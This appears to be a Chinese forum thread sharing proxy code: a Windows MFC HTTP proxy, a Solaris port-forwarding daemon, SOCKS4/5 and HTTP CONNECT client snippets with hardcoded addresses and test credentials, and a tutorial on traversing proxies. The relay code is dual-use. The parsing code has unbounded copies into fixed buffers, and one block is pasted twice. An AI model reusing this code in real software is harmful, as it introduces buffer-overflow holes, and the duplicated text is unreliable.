SOCKET user_proxy; //socket : 本地机器到PROXY 服务机
SOCKET proxy_server; //socket : PROXY 服务机到远程主机
BOOL IsUser_ProxyClosed; // 本地机器到PROXY 服务机状态
BOOL IsProxy_ServerClosed; // PROXY 服务机到远程主机状态
};


struct ProxyParam{
char Address[256]; // 远程主机地址
HANDLE User_SvrOK; // PROXY 服务机到远程主机的联结状态
SocketPair *pPair; // 维护一组SOCKET的指针
int Port; // 用来联结远程主机的端口
}; //这个结构用来PROXY SERVER与远程主机的信息交换.


SOCKET gListen_Socket; //用来侦听的SOCKET。


int StartServer() //启动服务
{
WSADATA wsaData;
sockaddr_in local;
SOCKET listen_socket;


if(::WSAStartup(0x202,&wsaData)!=0)
{printf("\nError in Startup session.\n");WSACleanup();return -1;};



local.sin_family=AF_INET;

local.sin_addr.s_addr=INADDR_ANY;
local.sin_port=htons(PROXYPORT);


listen_socket=socket(AF_INET,SOCK_STREAM,0);
if(listen_socket==INVALID_SOCKET)
{printf("\nError in New a Socket.");WSACleanup();return -2;}


if(::bind(listen_socket,(sockaddr *)&local,sizeof(local))!=0)
{printf("\n Error in Binding socket."); WSACleanup();return -3; };


if(::listen(listen_socket,5)!=0)
{printf("\n Error in Listen."); WSACleanup(); return -4;}
gListen_Socket=listen_socket;
AfxBeginThread(UserToProxyThread,NULL); //启动侦听
return 1;
}


int CloseServer() //关闭服务
{
closesocket(gListen_Socket);
WSACleanup();
return 1;
}
//分析接收到的字符,得到远程主机地址


int GetAddressAndPort( char * str, char *address, int * port)
{
char buf[BUFSIZE], command[512], proto[128], *p;
int j;
sscanf(str,"%s%s%s",command,buf,proto);
p=strstr(buf,HTTP);
//HTTP
if(p)
{
p+=strlen(HTTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break;
*(p+i)=0;
strcpy(address,p);
p=strstr(str,HTTP);
for(int j=0;j< i+strlen(HTTP);j++)
*(p+j)=' '; //去掉远程主机名: GET http://www.njust.edu.cn/ HTTP1.1 == > GET / HTTP1.1
*port=80; //缺省的 http 端口
}
else
{//FTP, 不支持, 下面的代码可以省略.
p=strstr(buf,FTP);
if(!p) return 0;
p+=strlen(FTP);
for(int i=0;i< strlen(p);i++)
if( *(p+i)=='/') break; //Get The Remote Host
*(p+i)=0;
for(j=0;j< strlen(p);j++)
if(*(p+j)==':')
{*port=atoi(p+j+1); //Get The Port
*(p+j)=0;
}
else *port=21;



strcpy(address,p);
p=strstr(str,FTP);
for(j=0;j< i+strlen(FTP);j++)

*(p+j)=' ';
}
return 1;
}


// 取到本地的数据,发往远程主机
UINT UserToProxyThread(void *pParam)
{
char Buffer[BUFSIZE];
int Len;
sockaddr_in from;
SOCKET msg_socket;
int fromlen,retval;
SocketPair SPair;
ProxyParam ProxyP;
CWinThread *pChildThread;
fromlen=sizeof(from);
msg_socket=accept(gListen_Socket,(struct sockaddr*)&from,&fromlen);
AfxBeginThread(UserToProxyThread,pParam); //启动另一侦听.
if( msg_socket==INVALID_SOCKET)
{ printf( "\nError in accept "); return -5;}
//读客户的第一行数据


SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;


retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);


if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
}
Len=retval;
#ifdef _DEBUG


Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif
//
SPair.IsUser_ProxyClosed=FALSE;
SPair.IsProxy_ServerClosed=TRUE;
SPair.user_proxy=msg_socket;


ProxyP.pPair=&SPair;
ProxyP.User_SvrOK=CreateEvent(NULL,TRUE,FALSE,NULL);


GetAddressAndPort( Buffer,ProxyP.Address,&ProxyP.Port);


pChildThread=AfxBeginThread(ProxyToServer,(LPVOID)&ProxyP);

::WaitForSingleObject(ProxyP.User_SvrOK,60000); //等待联结
::CloseHandle(ProxyP.User_SvrOK);


while(SPair.IsProxy_ServerClosed ==FALSE && SPair.IsUser_ProxyClosed==FALSE)

{
retval=send(SPair.proxy_server,Buffer,Len,0);
if(retval==SOCKET_ERROR)
{ printf("\n send() failed:error%d\n",WSAGetLastError());
if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
continue;
}
retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);


if(retval==SOCKET_ERROR)
{ printf("\nError Recv");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
continue;
}
if(retval==0)
{printf("Client Close connection\n");
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
break;
}
Len=retval;
#ifdef _DEBUG
Buffer[Len]=0;
printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif


} //End While


if(SPair.IsProxy_ServerClosed==FALSE)
{
closesocket(SPair.proxy_server);
SPair.IsProxy_ServerClosed=TRUE;
}
if(SPair.IsUser_ProxyClosed==FALSE)
{closesocket(SPair.user_proxy);
SPair.IsUser_ProxyClosed=TRUE;
}
::WaitForSingleObject(pChildThread- >m_hThread,20000); //Should check the return value
return 0;
}


// 读取远程主机数据,并发往本地客户机
UINT ProxyToServer(LPVOID pParam){
ProxyParam * pPar=(ProxyParam*)pParam;
char Buffer[BUFSIZE];
char *server_name= "localhost";
unsigned short port ;
int retval,Len;
unsigned int addr;

int socket_type ;
struct sockaddr_in server;
struct hostent *hp;
SOCKET conn_socket;


socket_type = SOCK_STREAM;
server_name = pPar- >Address;
port = pPar- >Port;


if (isalpha(server_name[0])) { /* server address is a name */

hp = gethostbyname(server_name);
}
else { /* Convert nnn.nnn address to a usable one */
addr = inet_addr(server_name);
hp = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (hp == NULL ) {
fprintf(stderr,"Client: Cannot resolve address [%s]: Error %d\n",
server_name,WSAGetLastError());
::SetEvent(pPar- >User_SvrOK);
return 0;
}


//
// Copy the resolved information into the sockaddr_in structure
//
memset(&server,0,sizeof(server));
memcpy(&(server.sin_addr),hp- >h_addr,hp- >h_length);
server.sin_family = hp- >h_addrtype;
server.sin_port = htons(port);


conn_socket = socket(AF_INET,socket_type,0); /* 打开一个 socket */
if (conn_socket < 0 ) {
fprintf(stderr,"Client: Error Opening socket: Error %d\n",
WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}


#ifdef _DEBUG
printf("Client connecting to: %s\n",hp- >h_name);
#endif
if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
== SOCKET_ERROR) {
fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
pPar- >pPair- >proxy_server=conn_socket;
pPar- >pPair- >IsProxy_ServerClosed=FALSE;

::SetEvent(pPar- >User_SvrOK);
// cook up a string to send
while(!pPar- >pPair- >IsProxy_ServerClosed &&!pPar- >pPair- >IsUser_ProxyClosed)
{
retval = recv(conn_socket,Buffer,sizeof (Buffer),0 );
if (retval == SOCKET_ERROR ) {
fprintf(stderr,"recv() failed: error %d\n",WSAGetLastError());

closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}
Len=retval;
if (retval == 0) {
printf("Server closed connection\n");
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}


retval = send(pPar- >pPair- >user_proxy,Buffer,Len,0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
break;
}
#ifdef _DEBUG
Buffer[Len]=0;
printf("Received %d bytes, data [%s] from server\n",retval,Buffer);
#endif
}
if(pPar- >pPair- >IsProxy_ServerClosed==FALSE)
{
closesocket(pPar- >pPair- >proxy_server);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
}
if(pPar- >pPair- >IsUser_ProxyClosed==FALSE)
{closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
}
return 1;
}





int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;


// 初始化SOCKET
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// 错误处理
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;

}
else
{
// 主程序开始.
StartServer();
while(1)
if(getchar()=='q') break;
CloseServer();
}


return nRetCode;
}
#ifdef _DEBUG
printf("Client connecting to: %s\n",hp- >h_name);
#endif
if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
== SOCKET_ERROR) {
fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());

pPar- >pPair- >IsProxy_ServerClosed=TRUE;
::SetEvent(pPar- >User_SvrOK);
return -1;
}
pPar- >pPair- >proxy_server=conn_socket;
pPar- >pPair- >IsProxy_ServerClosed=FALSE;
::SetEvent(pPar- >User_SvrOK);
// cook up a string to send
while(!pPar- >pPair- >IsProxy_ServerClosed &&!pPar- >pPair- >IsUser_ProxyClosed)
{
retval = recv(conn_socket,Buffer,sizeof (Buffer),0 );
if (retval == SOCKET_ERROR ) {
fprintf(stderr,"recv() failed: error %d\n",WSAGetLastError());
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}
Len=retval;
if (retval == 0) {
printf("Server closed connection\n");
closesocket(conn_socket);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
break;
}


retval = send(pPar- >pPair- >user_proxy,Buffer,Len,0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
break;
}
#ifdef _DEBUG
Buffer[Len]=0;
printf("Received %d bytes, data [%s] from server\n",retval,Buffer);
#endif
}
if(pPar- >pPair- >IsProxy_ServerClosed==FALSE)

{
closesocket(pPar- >pPair- >proxy_server);
pPar- >pPair- >IsProxy_ServerClosed=TRUE;
}
if(pPar- >pPair- >IsUser_ProxyClosed==FALSE)
{closesocket(pPar- >pPair- >user_proxy);
pPar- >pPair- >IsUser_ProxyClosed=TRUE;
}
return 1;
}





int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;


// 初始化SOCKET
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// 错误处理
cerr < < _T("Fatal Error: MFC initialization failed") < < endl;
nRetCode = 1;
}
else
{
// 主程序开始.
StartServer();
while(1)
if(getchar()=='q') break;
CloseServer();
}


return nRetCode;
}
re: 代理服务器代码 聂文龙 2008-10-21 02:12
简单代理服务器C代码实现(SOLARIS)

/*
** 编写:无可非议
** 来源:WWW.20CN.NET
** 注意:请注明转贴来源
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/stat.h>

int m_MainId = 0; //主进程ID
int m_ListenSocket = 0; //侦听套接字
char m_ConnectAddr[256] = {0}; //目标地址
char m_ConnectPort[256] = {0}; //目标端口

/*
** 函数名称: GetListenSocket
** 函数功能: 生成侦听套接字
** 传入参数: Port : 侦听端口
** 传出参数: 无
** 引用函数: 无
** 返回值 : 侦听套接字,为0时表示生成套接字失败,其他为套接字句柄
** 备注 : 无
*/
int GetListenSocket(int Port)
{
struct sockaddr_in m_LisAddr = {0};
int m_Socket = 0;
int m_AddrLen = sizeof(struct sockaddr_in);

//配置端口信息
m_LisAddr.sin_family = AF_INET;
m_LisAddr.sin_port = htons(Port);
m_LisAddr.sin_addr.s_addr = INADDR_ANY;

//创建套接字
if ((m_Socket = socket(AF_INET,SOCK_STREAM,0)) < 0 )
{
//创建套接字失败
return 0;
}

//绑定套接字
if(bind(m_Socket, (sockaddr*)&m_LisAddr , m_AddrLen) < 0 )
{
//绑定套接字失败
close(m_Socket);
return 0;
}

//侦听套接字
if(listen(m_Socket,5))
{
//侦听套接字失败
close(m_Socket);
return 0;
}

//侦听套接字生成成功
return m_Socket;
}

/*
** 函数名称: GetConnectSocket
** 函数功能: 生成连接套接字
** 传入参数: pServerAddr : 连接地址 pServerPort : 连接端口
** 传出参数: 无
** 引用函数: 无
** 返回值 : 连接套接字,为0时表示生成套接字失败,其他为套接字句柄
** 备注 : 无
*/
int GetConnectSocket(char* pServerAddr,char* pServerPort)
{
struct sockaddr_in m_ServerAddr = {0};
int m_AddrLen = sizeof(struct sockaddr_in);
int m_Socket = 0;

//初始化连接信息
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(pServerAddr);
m_ServerAddr.sin_port = htons(atoi(pServerPort));
m_ServerAddr.sin_family = AF_INET;

//创建发送套接字
m_Socket = socket(AF_INET,SOCK_STREAM,0);
if(m_Socket <= 0)
{
//失败
return NULL;
}

//连接客户计算机
if(connect(m_Socket,(sockaddr*)&m_ServerAddr,m_AddrLen) < 0 )
{
close(m_Socket);
return NULL;
}

//连接成功
return m_Socket;
}

/*
** 函数名称: TransSocket
** 函数功能: 完成套接字数据转发
** 传入参数: m_SendSocket : 发送套接字 m_RecvSocket : 接收套接字
** 传出参数: 无
** 引用函数: 无
** 返回值 : 无
** 备注 : 逆反完成全双工
*/
void TransSocket(int m_SendSocket,int m_RecvSocket)
{
char m_Buf[512 * 1024] = {0};
int ret = 0;
fd_set readset;
struct timeval tm = {0};
tm.tv_sec = 3600 * 24;

FD_ZERO(&readset);
FD_SET(m_RecvSocket,&readset);

while(1)
{
if((select(m_RecvSocket + 1,&readset,NULL,NULL,&tm)
<= 0))
{
//出错
break;
}
if(!FD_ISSET(m_RecvSocket,&readset)) continue;

ret = recv(m_RecvSocket,m_Buf,512 * 1024 - 1,0);
if(ret < 0)
{
//出错
break;
}
send(m_SendSocket,m_Buf,ret,0);
}
close(m_SendSocket);
close(m_RecvSocket);
}

/*
** 函数名称: SocketTrans
** 函数功能: 工作主函数,完成数据转发,新进程启动
** 传入参数: m_SendSocket : 发送套接字 m_RecvSocket : 接收套接字
** 传出参数: 无
** 引用函数: 无
** 返回值 : 无
** 备注 : 逆反完成全双工
*/
void SocketTrans()
{
struct sockaddr_in m_WorkAddr = {0};
int m_191Socket = 0;
int m_147socket = 0;
int m_WorkAddrLen = 0;

//开始任务执行
while(1)
{
//接受147的连接
m_WorkAddrLen = sizeof(struct sockaddr_in);
m_147socket = accept(m_ListenSocket,
(sockaddr*)&m_WorkAddr , &m_WorkAddrLen);

//检查套接字合法性
if(m_147socket < 0) continue;

//连接191
m_191Socket = GetConnectSocket(m_ConnectAddr,m_ConnectPort);
if(m_191Socket == NULL)
{
close(m_147socket);
continue;
}

int ret = fork();
if(ret < 0)
{
//建立新进程失败
printf("致命错误,无法建立新进程!\n");
fflush(stdout);
close(m_191Socket);
close(m_147socket);
break;
}
else if(ret == 0)
{
//关闭原来端口
close(m_ListenSocket);

//建立二次子进程,防止僵尸进程
ret = fork();
if(ret < 0)
{
close(m_191Socket);
close(m_147socket);
_exit(0);
}
else if(ret == 0)
{
//接收进程
TransSocket(m_191Socket,m_147socket);
_exit(0);
}
ret = fork();
if(ret < 0)
{
close(m_191Socket);
close(m_147socket);
_exit(0);
}
else if(ret == 0)
{
//发送进程
TransSocket(m_147socket,m_191Socket);
_exit(0);
}
close(m_191Socket);
close(m_147socket);
_exit(0);
}

//等待子线程结束
close(m_191Socket);
close(m_147socket);
waitpid(ret,NULL,0);
}
}

/*
** 函数名称: sig_usr
** 函数功能: 进程信号处理函数
** 传入参数: 无
** 传出参数: 无
** 引用函数: 无
** 返回值 : 无
** 备注 : 处理进程终止事件
*/
static void sig_usr(int signo)
{
close(m_ListenSocket);
if(m_MainId == getpid())
kill(0,SIGKILL);
exit(0);
}

static void sig_ign(int signo)
{
fprintf(stderr,"signal %d catched ,ignoring\n",signo);
}

int daemon_init()
{
pid_t pid;
if((pid=fork())<0){
return -1;
}else if(pid!=0){
exit(0);
}
setsid();
umask(0);
return 0;
}

/*
** 函数名称: main
** 函数功能: 进程主函数
** 传入参数: 无
** 传出参数: 无
** 引用函数: MakeFilePath,GetMyInitInfo,SocketTrans
** 返回值 : 无
** 备注 : 为客户接收进程主函数
*/
int main(int argc,char* argv[])
{
//检查参数合法性
if(argc != 4)
{
printf("格式:本地端口 目的地址 目的端口\n");
fflush(stdout);
return 0;
}

daemon_init();

//登记信号事件
signal(SIGTERM,sig_usr);
signal(SIGINT,sig_usr);
signal(SIGQUIT,sig_usr);
signal(SIGPIPE,sig_ign);
signal(SIGALRM,sig_ign);
signal(SIGQUIT,sig_ign);
signal(SIGFPE,sig_ign);
signal(SIGILL,sig_ign);
signal(SIGPIPE,sig_ign);
signal(SIGSEGV,sig_ign);
signal(SIGTRAP,sig_ign);
signal(SIGTSTP,sig_ign);

//取参数
strcpy(m_ConnectAddr,argv[2]);
strcpy(m_ConnectPort,argv[3]);

//获取侦听套接字
m_ListenSocket = GetListenSocket(atoi(argv[1]));
if(m_ListenSocket == 0)
{
printf("侦听端口[%s]失败!\n",argv[1]);
fflush(stdout);
return 0;
}

m_MainId = getpid();
//启动文件接收侦听线程
SocketTrans();
close(m_ListenSocket);
return 0;
}
re: 代理服务器代码 聂文龙 2008-10-21 02:08
使用socks4 socks5 http代理的客户端

///定义的结构
struct sock4req1
{
char VN;
char CD;
unsigned short Port;
unsigned long IPAddr;
char other[1];
};

struct sock4ans1
{
char VN;
char CD;
};

struct sock5req1
{
char Ver;
char nMethods;
char Methods[255];
};

struct sock5ans1
{
char Ver;
char Method;
};

struct sock5req2
{
char Ver;
char Cmd;
char Rsv;
char Atyp;
unsigned long IPAddr;
unsigned short Port;

// char other[1];
};

struct sock5ans2
{
char Ver;
char Rep;
char Rsv;
char Atyp;
char other[1];
};

struct authreq
{
char Ver;
char Ulen;
char Name[255];
char PLen;
char Pass[255];
};

struct authans
{
char Ver;
char Status;
};


///////////
///////////代码片段
void CTestDlg::OnSocks4()
{
CString m_sError;
ClientSock.Create();

//Socks4代理服务器端口及地址
//if( !ClientSock.Connect( "195.65.215.38",1080) )
if( !ClientSock.Connect( "192.168.123.194",1080) )
{
m_sError = _T("不能连接到代理服务器!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}

char buff[100];
memset(buff,0,100);
struct sock4req1 *m_proxyreq;
m_proxyreq = (struct sock4req1 *)buff;
m_proxyreq->VN = 4;
m_proxyreq->CD = 1;
m_proxyreq->Port = ntohs(21);
m_proxyreq->IPAddr = inet_addr("219.201.39.50");
strcpy(m_proxyreq->other , "");
ClientSock.Send(buff,9);
struct sock4ans1 *m_proxyans;
m_proxyans = (struct sock4ans1 *)buff;
memset(buff,0,100);
ClientSock.Receive(buff,100);
if(m_proxyans->VN != 0 || m_proxyans->CD != 90)
{
m_sError = _T("通过代理连接主站不成功!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}



//连接已经建立,发送及接收数据
memset(buff,0,100);
strcpy(buff,"Hello!");
ClientSock.Send(buff,sizeof(buff));
memset(buff,0,100);
ClientSock.Receive(buff,100);
MessageBox(buff);
ClientSock.Close();

}

void CTestDlg::OnSocks5()
{
// TODO: Add your control notification handler code here
//http://my.nbip.net/homepage/nblulei/ttdl/sockdllb.htm

CString m_sError;
ClientSock.Create();
//Socks5代理服务器端口及地址
//if( !ClientSock.Connect("61.238.12.84",12654) )
if( !ClientSock.Connect("192.168.123.194",1080) )
{
m_sError = _T("不能连接到代理服务器!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}
char buff[600];
struct sock5req1 *m_proxyreq1;
m_proxyreq1 = (struct sock5req1 *)buff;
m_proxyreq1->Ver = 5;
m_proxyreq1->nMethods = 2;
m_proxyreq1->Methods[0] = 0;
m_proxyreq1->Methods[1] = 2;
ClientSock.Send(buff,4);
struct sock5ans1 *m_proxyans1;
m_proxyans1 = (struct sock5ans1 *)buff;
memset(buff,0,600);
ClientSock.Receive(buff,600);
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method!=0 && m_proxyans1->Method!=2))
{
m_sError = _T("通过代理连接主站不成功!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}
if(m_proxyans1->Method == 2)
{
int nUserLen = strlen("alon");
int nPassLen = strlen("alon");
struct authreq *m_authreq = {0};
m_authreq = (struct authreq *)buff;
m_authreq->Ver = 1;
m_authreq->Ulen = nUserLen;
strcpy(m_authreq->Name,"alon");
m_authreq->PLen = nPassLen;
strcpy(m_authreq->Pass,"alon");
ClientSock.Send(buff,513);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff,0,600);
ClientSock.Receive(buff,600);
if(m_authans->Ver != 1 || m_authans->Status != 0)
{
m_sError = _T("代理服务器用户验证不成功!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}
}
struct sock5req2 *m_proxyreq2;
m_proxyreq2 = (struct sock5req2 *)buff;
m_proxyreq2->Ver = 5;
m_proxyreq2->Cmd = 1;
m_proxyreq2->Rsv = 0;
m_proxyreq2->Atyp = 1;
m_proxyreq2->IPAddr = inet_addr("219.201.39.50");
m_proxyreq2->Port = ntohs(21);


ClientSock.Send(buff,sizeof(struct sock5req2));
struct sock5ans2 *m_proxyans2;
memset(buff,0,600);
m_proxyans2 = (struct sock5ans2 *)buff;
ClientSock.Receive(buff,600);
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
m_sError = _T("通过代理连接主站不成功!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}



//连接已经建立,发送及接收数据
memset(buff,0,600);
strcpy(buff,"Hello!");
ClientSock.Send(buff,sizeof(buff));
memset(buff,0,600);
ClientSock.Receive(buff,600);
MessageBox(buff);
ClientSock.Close();
}


void CTestDlg::OnHttp()
{
// TODO: Add your control notification handler code here
CString m_sError;
ClientSock.Create();
//if( !ClientSock.Connect("61.145.123.202",3128) )
if( !ClientSock.Connect("211.92.143.19",3128) )
//if( !ClientSock.Connect("WWW.TOM.COM",80) )
{
m_sError = _T("不能连接到代理服务器!");
ClientSock.Close();
MessageBox(m_sError);
return ;
}

char buff[600] = {0};
// sprintf( buff, "%s%s:%d%s","CONNECT ","219.201.39.50",21," HTTP/1.1\r\nUser-Agent: MyApp/0.1\r\n\r\n");
sprintf( buff, "%s%s:%d%s","CONNECT ","219.201.39.50",21," HTTP/1.1\r\nUser-Agent: CERN-LineMode/2.15 libwww/2.17b3\r\n\r\n");
// sprintf( buff, "%s%s:%d%s","CONNECT ","www.tom.com",80," HTTP/1.1\r\nUser-Agent: CERN-LineMode/2.15 libwww/2.17b3\r\n\r\n");
// sprintf( buff, "%s%s","GET ","HTTP://WWW.TOM.COM HTTP/1.1\r\n\r\n");

ClientSock.Send(buff,strlen(buff)); //发送请求
memset(buff,0,600);
ClientSock.Receive(buff,600);
if(strstr(buff, "HTTP/1.0 200 Connection established") == NULL) //连接不成功
{
m_sError = _T("通过代理连接主站不成功!");
ClientSock.Close();
return ;
}


/* if( strstr(buff, "Error 403") )
{
//return GoError(PROXYERROR_PROXYDISABLE); //代理服务器拒绝请求
}

if( strstr(buff, "407 Proxy authentication required") ) //需要身份验证
{
//return GoError(PROXYERROR_USERNAMEORPASSWORD); //用户身份校检不成功
}
if( strstr(buff, "Connection refuesed") )
{
//return GoError(PROXYERROR_CONNECTHOSTSERVER); //通过代理连接主站不成功
}
if( strstr(buff, "Access Denied") )
{
//return GoError(PROXYERROR_USERNAMEORPASSWORD); //用户身份校检不成功
}
if(strstr(buff, "Connection refused by Remote Host") )
{
//return GoError(PROXYERROR_CONNECTHOSTSERVER); //通过代理连接主站不成功
}

ClientSock.Close();
*/




//连接已经建立,发送及接收数据
memset(buff,0,600);
strcpy(buff,"Hello!");
ClientSock.Send(buff,sizeof(buff));
memset(buff,0,600);
ClientSock.Receive(buff,600);
MessageBox(buff);
ClientSock.Close();


}


/////////
///另附一些http的请求和返回
发送一:
CONNECT 61.135.158.91:80 HTTP/1.1
User-Agent: MyApp/0.1


发送二:
CONNECT 61.135.158.91:80 HTTP/1.1
User-Agent: CERN-LineMode/2.15 libwww/2.17b3


发送三:
CONNECT 127.0.0.1:2222 HTTP/1.0
User-agent: MyApp/1.0
Proxy-authorization: enter xxxxxx


接收一:
HTTP/1.0 403 Forbidden
Server: Topproxy-2.0/
Mime-Version: 1.0
Date: Thu, 18 Nov 2004 16:37:53 GMT
Content-Type: text/html
Content-Length: 718
Expires: Thu, 18 Nov 2004 16:37:53 GMT
X-Squid-Error: ERR_ACCESS_DENIED 0
X-Cache: MISS fro


接收二:
HTTP/1.0 502 Proxy Error ( SSL port specified is not allowed. )
Via: 1.0 PROXY
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html>

<head>
<meta http-equiv="Conten"


接收三:
HTTP/1.1 403 Forbidden
Date: Sat, 20 Nov 2004 14:33:13 GMT
Content-Length: 257
Content-Type: text/html
Server: NetCache appliance (NetApp/5.6R1D6)

<HTML>
<HEAD><TITLE>403 Forbidden</TITLE></HEAD>
<BODY>
<H1>Forbidden</H1>
<H4>
You were"



re: 代理服务器代码 聂文龙 2008-10-21 02:04
传透代理服务器的编程

关键字 代理服务器、Socks4、Socks5、Http代理
原作者姓名 allfresh
文章原始出处 http://www.allfresh.net/program/proxy.htm
正文
在网络程序设计过程中,我们经常要与各种类型的代理服务器打交道,比如在企业内部网通过代理去访问Internet网上的服务器等等,一般代理服务器支持几种常见的代理协议标准,如Socks4,Socks5,Http代理,其中Socks5需要用户验证,代理相对复杂。我在查阅RFC文档和相关资料后,特总结一些TCP协议穿透代理服务器的程序片断,希望对大家有所帮助。

//使用到的结构
struct sock4req1
{
 char VN;
 char CD;
 unsigned short Port;
 unsigned long IPAddr;
 char other[1];
};

struct sock4ans1
{
 char VN;
 char CD;
};

struct sock5req1
{
 char Ver;
 char nMethods;
 char Methods[255];
};

struct sock5ans1
{
 char Ver;
 char Method;
};

struct sock5req2
{
 char Ver;
 char Cmd;
 char Rsv;
 char Atyp;
 char other[1];
};

struct sock5ans2
{
 char Ver;
 char Rep;
 char Rsv;
 char Atyp;
 char other[1];
};

struct authreq
{
 char Ver;
 char Ulen;
 char Name[255];
 char PLen;
 char Pass[255];
};

struct authans
{
 char Ver;
 char Status;
};

//通过Socks4方式代理
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )
{
  m_sError = _T("不能连接到代理服务器!");
  ClientSock.Close();
  return FALSE;
}
char buff[100];
memset(buff,0,100);
struct sock4req1 *m_proxyreq;
m_proxyreq = (struct sock4req1 *)buff;
m_proxyreq->VN = 4;
m_proxyreq->CD = 1;
m_proxyreq->Port = ntohs(GetPort());
m_proxyreq->IPAddr = inet_addr(GetServerHostName());
ClientSock.Send(buff,9);
struct sock4ans1 *m_proxyans;
m_proxyans = (struct sock4ans1 *)buff;
memset(buff,0,100);
ClientSock.Receive(buff,100);
if(m_proxyans->VN != 0 || m_proxyans->CD != 90)
{
 m_sError = _T("通过代理连接主站不成功!");
 ClientSock.Close();
 return FALSE;
}




//通过Socks5方式代理
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )
{
 m_sError = _T("不能连接到代理服务器!");
 ClientSock.Close();
 return FALSE;
}
char buff[600];
struct sock5req1 *m_proxyreq1;
m_proxyreq1 = (struct sock5req1 *)buff;
m_proxyreq1->Ver = 5;
m_proxyreq1->nMethods = 2;
m_proxyreq1->Methods[0] = 0;
m_proxyreq1->Methods[1] = 2;
ClientSock.Send(buff,4);
struct sock5ans1 *m_proxyans1;
m_proxyans1 = (struct sock5ans1 *)buff;
memset(buff,0,600);
ClientSock.Receive(buff,600);
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method!=0 && m_proxyans1->Method!=2))
{
 m_sError = _T("通过代理连接主站不成功!");
 ClientSock.Close();
 return FALSE;
}
if(m_proxyans1->Method == 2)
{
 int nUserLen = strlen(g_ProxyInfo.m_strProxyUser);
 int nPassLen = strlen(g_ProxyInfo.m_strProxyPass);
 struct authreq *m_authreq;
 m_authreq = (struct authreq *)buff;
 m_authreq->Ver = 1;
 m_authreq->Ulen = nUserLen;
 strcpy(m_authreq->Name,g_ProxyInfo.m_strProxyUser);
 m_authreq->PLen = nPassLen;
 strcpy(m_authreq->Pass,g_ProxyInfo.m_strProxyPass);
 ClientSock.Send(buff,513);
 struct authans *m_authans;
 m_authans = (struct authans *)buff;
 memset(buff,0,600);
 ClientSock.Receive(buff,600);
 if(m_authans->Ver != 1 || m_authans->Status != 0)
 {
  m_sError = _T("代理服务器用户验证不成功!");
  ClientSock.Close();
 return FALSE;
 }
}
struct sock5req2 *m_proxyreq2;
m_proxyreq2 = (struct sock5req2 *)buff;
m_proxyreq2->Ver = 5;
m_proxyreq2->Cmd = 1;
m_proxyreq2->Rsv = 0;
m_proxyreq2->Atyp = 1;
unsigned long tmpLong = inet_addr(GetServerHostName());
unsigned short port = ntohs(GetPort());
